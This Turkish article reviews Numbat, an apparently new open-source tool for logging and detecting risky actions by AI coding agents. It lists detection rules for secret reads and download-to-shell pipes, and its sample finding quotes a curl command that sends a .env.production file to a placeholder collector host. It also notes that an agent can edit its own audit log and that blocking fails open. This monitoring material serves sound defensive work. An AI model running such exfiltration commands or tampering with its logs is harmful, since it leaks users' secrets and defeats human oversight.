Numbat ile yapay zeka ajanlarının faaliyetlerini izleme

Numbat nedir

Numbat, sahip olduğunuz bir makinede bir yapay zeka aracının neler yaptığını görmenizi sağlar. Kodlama araçlarının halihazırda ürettiği kanca geri çağrılarını (hook callbacks) ve oturum dosyalarını okur, bunları tek bir olay formatında normalleştirir ve SSH özel anahtarını okumak veya bir indirme işlemini doğrudan bir kabuğa yönlendirmek gibi davranışlar üzerinde tetiklenen kurallarla eşleştirir. Perplexity, aracı 29 Temmuz 2026 tarihinde ilk etiketli sürümüyle Apache 2.0 lisansı altında açık kaynak olarak yayınladı.

Aşağıdaki tüm bilgiler, 2 Ağustos 2026 tarihinde incelenen projenin deposundan ve kendi belgelerinden alınmıştır. Perplexity'nin bir iddiada bulunduğu yerlerde bu durum belirtilmiştir. Depo henüz birkaç günlük olduğu ve komutları değişeceği için bu bir kurulum kılavuzu değildir.

Sorun: Bir ajanın ne yaptığına dair kayıt tutulmaması

VPS üzerinde çalışan bir kodlama ajanı; sizin yetkilendirdiğiniz kullanıcı haklarıyla shell komutları çalıştırır, dosyaları okur, dosyalar yazar ve ağ bağlantıları açar. Shell geçmişiniz bunların hiçbirini kaydetmez çünkü ajan, shell üzerinde komut yazmaz. sshd, giriş yaptığınızı kaydeder ancak modelin sonrasında aldığı kararlara dair hiçbir veri tutmaz. /var/log/auth.log, sudo adresine bir erişim olmadığı sürece sessiz kalır. Ajan kendi transkriptini tutar ancak bu dosya ajanın oturum dizininde bulunur, formatı sürümler arasında değişiklik gösterir ve ajanın kendi süreci bu dosyaya yazma yetkisine sahiptir.

Bu nedenle birisi, ajanın geçen Salı günü .env.production dosyasını okuyup okumadığını sorduğunda, çoğu sunucuda verilebilecek dürüst cevap "bunu bilemeyiz" şeklindedir. Bu boşluk, bu projenin var olma nedenidir.

Numbat'ın ne yaptığına dair Perplexity iddiaları

README dosyası, aracı "AI ajanı etkinliklerine uç nokta görünürlüğü sağlayan, yerel algılama, isteğe bağlı eylem öncesi engelleme ve adli yeniden yapılandırma özelliklerine sahip bir çözüm" olarak tanımlayarak başlar. Buradaki uç nokta, dışarıdan izleme yapan bir ağ cihazını değil, ajanın üzerinde çalıştığı makineyi ifade eder. Bunlar birbirinden ayrı yeteneklerdir ve farklı ağırlıklara sahiptirler.

Algılama işlemi cihaz üzerinde çalışır. Kurallar CEL (common expression language) ile yazılır ve yerel olarak değerlendirilir; ayrıca çok adımlı dizi kuralları ve YAML formatında kendi kurallarınızı tanımlama desteği mevcuttur. Bir kuralın tetiklenmesi için makineden hiçbir verinin dışarı çıkması gerekmez.

Engelleme özelliği isteğe bağlıdır ve kapsamı dardır. Yalnızca eşzamanlı eylem öncesi kancalar (pre-action hooks) aracılığıyla, bu kancaları sunan ajanlarda çalışır ve siz etkinleştirene kadar kapalıdır.

Yeniden yapılandırma işlemi olay gerçekleştikten sonra yapılır. numbat scan, bir ajanın halihazırda diske yazdığı oturum yapılarını ayrıştırır; böylece herhangi bir kurulum yapmadan önceki etkinlikleri inceleyebilirsiniz. Proje, bu iddiayı şu şekilde sınırlandırmaktadır: "At-rest (durağan) yeniden yapılandırma, disk veya bellek imajı alma işlemi değildir ve ajanın kalıcı hale getirmediği etkinlikleri kurtaramaz."

Çıktı, sürümü yönetilen NDJSON (newline delimited JSON) formatındadır; olayları, bulguları, yaptırım kararlarını, göstergeleri ve tarama özetlerini kapsar. v0.1.2 sürümü itibarıyla şema sürümü 0.2.0'dır. Kayıtlar stdout'a veya yerel bir dosyaya, isteğe bağlı olarak da çalıştırdığınız bir toplayıcıya HTTP üzerinden gönderilir. Yazılım, macOS, Linux ve Windows üzerinde amd64 ve arm64 mimarileri için cgo olmadan derlenmiş tek bir statik Go binary dosyası olarak sunulur; bu nedenle bir Linux VPS üzerinde önceden kurulması gereken bir çalışma zamanı (runtime) gerektirmeyen tek bir dosya halindedir.

Numbat hangi aracıları (agent) gerçekten görebilir?

docs/agent-coverage.md içindeki kapsam matrisi yetkili listedir ve bu liste homojen değildir. Proje, bu durumu gizlemek yerine açıkça belirtmektedir. Claude Code, Codex, Gemini CLI, Cursor ve GitHub Copilot CLI hem artifact tarama hem de pre-action hook ile canlı yakalama özelliklerine sahiptir. OpenClaw, 2026.7.1 sürümünden itibaren yerel bir eklenti almaktadır. Uzun bir girdi listesi ertelenmiş (deferred) olarak işaretlenmiştir; bu, canlı bir hook yolu bulunduğu ancak artifact ayrıştırıcısının (parser) mevcut olmadığı anlamına gelir. Bunun temel nedeni, ilgili aracının geçmiş verilerini, çalışma anında okunması güvenli olmayan write-ahead log içeren bir SQLite dosyasında saklamasıdır. 2 Ağustos 2026 tarihinde matris okunduğunda OpenCode ve Cline bu grupta yer alıyordu.

Bu araçla ilgili herhangi bir plan yapmadan önce kendi aracınızın bulunduğu satırı kontrol edin; çünkü "destekleniyor" ifadesi neredeyse her satırda farklı bir anlama gelmektedir.

Bir tespitin görünümü

Kurallar, ne amaçla kullanıldıklarını belirten kimlik numaralarına sahiptir. secrets.read_private_key; bir SSH anahtarını, AWS kimlik bilgilerini, bir kube config dosyasını veya paket kayıt defteri girişini kapsar. exec.download_pipe_shell, curl veya wget çıktısı bir yorumlayıcıya aktarıldığında tetiklenir. privilege.elevated_shell, sudo, doas, su veya pkexec üzerinden etkileşimli bir root kabuğu talebini yakalar. impact.cryptomining_launch, bilinen madenci ikili dosyaları ve imaj isimleriyle eşleşir.

Sıralı kurallar, tek bir oturum içindeki olayları birleştirir. chain.secret_read_then_egress, bir gizli dosyanın okunmasını ve ardından veriyi dışarı taşıyan bir komutun çalıştırılmasını gerektirir. README dosyası, aşağıdaki bulguyu canlı bir olaydan değil, iki Claude Code ön eylem geri çağrısının kontrollü bir tekrarından yayınlamaktadır. Buradaki çıktı, önemli alanları içerecek şekilde kısaltılmıştır:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Kayıt içindeki "confidence": "medium" ifadesine ve projenin bu tür çıktıların tamamı hakkında ne söylediğine dikkat edin: "Bulgular kural eşleşmeleridir, bir ihlalin kanıtı değildir." Bir anahtarı okuyan ve ardından bir derleme çıktısını (build artifact) yükleyen bir dağıtım betiği, aynı sıralı kural ile eşleşecektir. Eşleşme doğrudur ancak alarm yanlıştır; bu, şimdiye kadar çalıştırdığınız her tespit aracının normal durumudur.

Engelleme varsayılan olarak kapalıdır ve hata durumunda açık kalır (fail-open)

Numbat ile birlikte gelen her kural yalnızca izleme modundadır. Bir kuralı engelleme kuralına dönüştürmek bilinçli bir işlem gerektirir: kuralın tam YAML içeriğini kendi dizininize kopyalayın, aynı id değerini koruyun, enforce: true ekleyin, sürüm numarasını artırın ve ardından bu politikayı doğrulayıp yükleyin.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Şimdi, bu sisteme ne kadar güvenmeniz gerektiğine karar veren kısma gelelim. Numbat'ın reddetme (deny) yanıtı, aracıya (agent) geri iletilen bir yanıt niteliğindedir ve araç çağrısını fiilen reddeden şey aracının kendisidir. Uygulama kılavuzu, Numbat'ın kendisinde bir sorun oluştuğunda ne olacağı konusunda oldukça nettir: "Hatalı yükler, ilgili değerlendirme hataları, panik durumları ve çıktı başarısızlıkları numbat reddini bastırır." Kanca (hook) girdisi 4 MiB ile sınırlandırılmıştır ve bu boyutu aşan girdiler de aynı yolu izler.

Kılavuz, gerçekleşen bir reddetme işleminin sınırları konusunda da aynı derecede açıktır: "Fail-open (hata durumunda açık kalma), numbat'ın ret yanıtını iletmemesi anlamına gelir. Bu, aracın çalışacağını garanti etmez: ana sistem yine de komut isteyebilir, reddedebilir, zaman aşımına uğratabilir veya başka bir kanca ya da politika uygulayabilir."

Dolayısıyla buradaki uygulama bir sınır çizgisi değil, bir güvenlik bariyeridir. Süreç çökerse, işlem Numbat tarafından engellenmez; çünkü her sorun yaşadığında aracınızı donduran bir izleme aracı bir hafta içinde kaldırılır. Bu makul bir takastır. Sadece, reddetme yanıtının her zaman ulaşacağını varsayan bir güvenlik modeli oluşturmayın.

Numbat'ın mevcut iş akışınızdaki yeri

Numbat uç noktada, aracın kendi süreç ağacı içerisinde çalışır ve varsayılan olarak ~/.numbat/records.ndjson dosyasına yazar. Kullanıcınız olarak çalışan bir araç bu dosyayı okuyabilir. Ayrıca dosyayı düzenleyebilir. Denetim izinin değeri, çevresindeki izolasyonun gücüyle eşdeğerdir; bu durum, sahip olduğunuz tüm kontrolleri bu aracın arkasına değil, önüne yerleştirmenizi gerektirir.

Kodlama aracına geçici bir VM vermek, hatalı bir çalıştırmanın erişebileceği alanı sınırlar. VPS üzerinde en düşük yetkili bir kullanıcı, aracın açmaması gereken dosyalardan uzak tutulmasını sağlar. Kimlik bilgilerini aracın bağlamından uzak tutmak, bir secrets.read_private_key eşleşmesinin, tetiklendiğinde incelenmeye değer olacak kadar nadir olmasını sağlar. Ve Claude Code için bir VPS üzerinde kurduğunuz sandbox, kapsülleme işlemini gerçekleştiren temel yapıdır. Kapsülleme, hatalı bir çalıştırmanın etkileyebileceği alanı sınırlar; kodun neden bu şekilde yapılandırıldığını not etmek ise aracın sizi log kayıtlarına bakmaya zorlayacak kadar şaşırtıcı işlemler yapma sıklığını azaltır.

Numbat'ın sağladığı temel değer kayıttır; bu nedenle kaydı, aracın erişemeyeceği bir yere gönderin. numbat ship ve HTTP sink bu amaçla mevcuttur. Akışın bir kopyasının ikinci bir makinede bulunması, bir log dosyası ile kanıt arasındaki farkı oluşturur. Olay modeli ayrıca MCP (model context protocol) alanlarını da taşır; bu sayede VPS üzerinde barındırdığınız bir MCP sunucusu üzerinden çıkan araç çağrıları, yerel kabuk komutlarıyla aynı akışa düşer. Bu önemlidir, çünkü bu yol yalnızca bash dosyasını izleyen herhangi bir yapı için görünmezdir. Aynı kör nokta, aracın arama arka ucu olarak bağlanan bir SearXNG örneği için de geçerlidir; burada risk, herhangi bir kuralın eşleşebileceği bir komut olarak değil, modelin bağlamına giren güvenilmeyen sayfa metni olarak ortaya çıkar.

Önce salt okunur modda deneyin

Sabitlenmiş bir sürüm yükleyin. go install için Go 1.26.5 veya daha yeni bir sürüm gereklidir; kaynak koddan derlemek istemiyorsanız, sürümler sayfasında SHA-256 sağlama toplamlarına sahip önceden derlenmiş ikili dosyalar mevcuttur.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents, sunucuda yüklü olan aracıları keşfeder. numbat scan, diskte halihazırda bulunan oturum yapılarını ayrıştırır ve kayıtları yazdırır. README dosyası, bu komutların "kanca (hook) yüklemediğini veya aracı yapılandırmasını değiştirmediğini" ve numbat'ın "yapılarda bulunan aracıları veya komutları asla yürütmediğini, yalnızca yapılandırılmış HTTP hedeflerine giden istekler yaptığını" belirtir. Tarama işlemi, gizli verilerin maskelenmesiyle salt okunur olarak gerçekleştirilir ve normal kayıt çıktısı hiçbir zaman tam ham dökümü içermez.

Canlı yakalama bir sonraki adımdır ve bu işlem aracı yapılandırmasını değiştirir:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all; olayları, bulguları, göstergeleri ve uygulanabilir yaptırım kararlarını ~/.numbat/records.ndjson dosyasına yazar. Projeden doğrudan iki uyarı gelmektedir. Kancaların çalışabilmesi için önce aracı içinde güvenilir olarak işaretlenmeleri gerekebilir ve bu güven durumu, --enforce gibi bayrakları değiştirdikten sonra tekrar gözden geçirilmelidir. Ayrıca hook status, "yürütmeyi veya teslimatı değil, yapılandırmayı doğrular"; bu nedenle sağlıklı bir durum satırı, kayıtların bir yere ulaştığının kanıtı değildir.

Bu kadar yeni bir depo neden bir bağımlılık değildir

Genel kullanıma sunulan sürümler 29 Temmuz 2026 tarihli v0.1.1 ve 1 Ağustos 2026 tarihli v0.1.2'dir. Bu yazı 2 Ağustos 2026 tarihinde kaleme alındığında deponun 597 yıldızı bulunmaktaydı. Bu denli hızlı artan sayılar, kodun ne kadar sağlam olduğundan ziyade Perplexity'nin hedef kitlesini yansıtmaktadır. Bir yıldız, birinin sayfayı daha sonra incelemek üzere kaydettiği anlamına gelir.

Sürüm numarası, projenin mevcut durumunu dürüstçe yansıtmaktadır. v0.1.2 sürüm notları büyük ölçüde kimlik bilgisi gizleme düzeltmeleri, vaka paketi ve telemetri normalleştirme çalışmalarından oluşmaktadır. Gizleme hataları, diğer programların transkriptlerini güvenli bir şekilde okumakla görevli bir araçta beklenen erken dönem kusurlarıdır. Bu hataların devamı gelecektir çünkü girdiler, her biri kendi takvimine göre format değiştiren bir düzine farklı aracıdan gelmektedir.

Bunun sonucunda iki pratik kural ortaya çıkmaktadır. Sakladığınız her şeyde @latest yerine etiketi sabitleyin. Ayrıca, kayıt şeması değişmeyi bırakana kadar, bu aracı güvendiğiniz bir kontrol mekanizması olarak değil, değerlendirme aşamasında olduğunuz bir enstrüman olarak görün.

FAQ

Numbat tehlikeli AI ajanı komutlarını engeller mi?

Sadece tercih ederseniz ve "en iyi çaba" (best effort) prensibiyle engeller. Numbat ile birlikte gelen her kural yalnızca izleme (monitor) modundadır. Engelleme yapmak için kuralın YAML dosyasını kendi dizininize kopyalamanız, kimliğini (id) korumanız, enforce: true eklemeniz, sürüm numarasını artırmanız ve kancayı (hook) --enforce ile kurmanız gerekir. Bu durumda dahi engelleme, ajana geri gönderilen bir yanıttır ve çağrıyı reddeden taraf ajanın kendisidir. Proje belgeleri "fail-open" davranışını esas alır: hatalı biçimlendirilmiş yükler, değerlendirme hataları, panikler ve çıktı başarısızlıklarının tümü engelleme işlemini devre dışı bırakır. Numbat'ı tek güvenlik sınırınız olarak değil, bir koruma katmanı olarak kullanın.

Numbat hangi AI ajanlarını destekler?

Kapsam ajana göre değişir ve depodaki docs/agent-coverage.md dosyasında listelenmiştir. 2 Ağustos 2026 tarihinde bu sayfa okunduğunda Claude Code, Codex, Gemini CLI, Cursor ve GitHub Copilot CLI hem artifact tarama hem de canlı yakalama özelliklerine sahipti; OpenClaw ise 2026.7.1 sürümünden itibaren yerel bir eklentiye sahiptir. Diğer birçok ajan canlı kanca yoluyla listelenmiş olsa da henüz bir artifact ayrıştırıcısına sahip değildir; bunun nedeni genellikle ajan oturum geçmişlerinin, ajan çalışırken okunması güvenli olmayan bir SQLite veritabanında tutulmasıdır. Ajanınız için ilgili satırı okuyun, çünkü "destekleniyor" ifadesi orada farklı seviyeleri kapsar.

Ajan, Numbat kayıtlarını değiştirebilir mi?

Evet, eğer ajan aynı kullanıcı yetkileriyle çalışıyorsa. Kayıtlar varsayılan olarak makinede ~/.numbat/records.ndjson dizininde tutulur, bu nedenle o yola yazma erişimi olan her şey kayıtları değiştirebilir veya silebilir. Akışı, ajanın erişemeyeceği bir toplayıcıya numbat ship veya HTTP sink ile gönderin ve yerel dosyayı yalnızca kolaylık amaçlı bir kopya olarak tutun. Bu araç, izolasyonun yerini almak yerine onu tamamlar. En düşük yetkili kullanıcı altında, geçici bir sanal makineye (VM) hapsedilmiş bir ajanın kendi denetim izi üzerinde çok daha az yetkisi olur.

Numbat üretim sunucuları için hazır mı?

Güvenebileceğiniz bir kontrol mekanizması olarak henüz hazır değildir. İlk genel sürüm 29 Temmuz 2026'da v0.1.1 olarak yayınlanmış, 1 Ağustos 2026'da ise v0.1.2 gelmiştir; bu nedenle bayraklar ve kayıt şeması hala değişmektedir. Bir sunucuda numbat agents ve numbat scan çalıştırmak salt okunurdur ve düşük risk taşır; ajanlarınızın diskte neler bıraktığını görmenizi sağlar. Önemli bir sunucuya zorunlu kancalar kurmak farklı bir karardır; sabitlenmiş bir sürüm etiketi ve kancanın hatalı çalışması durumuna karşı bir plan gerektirir.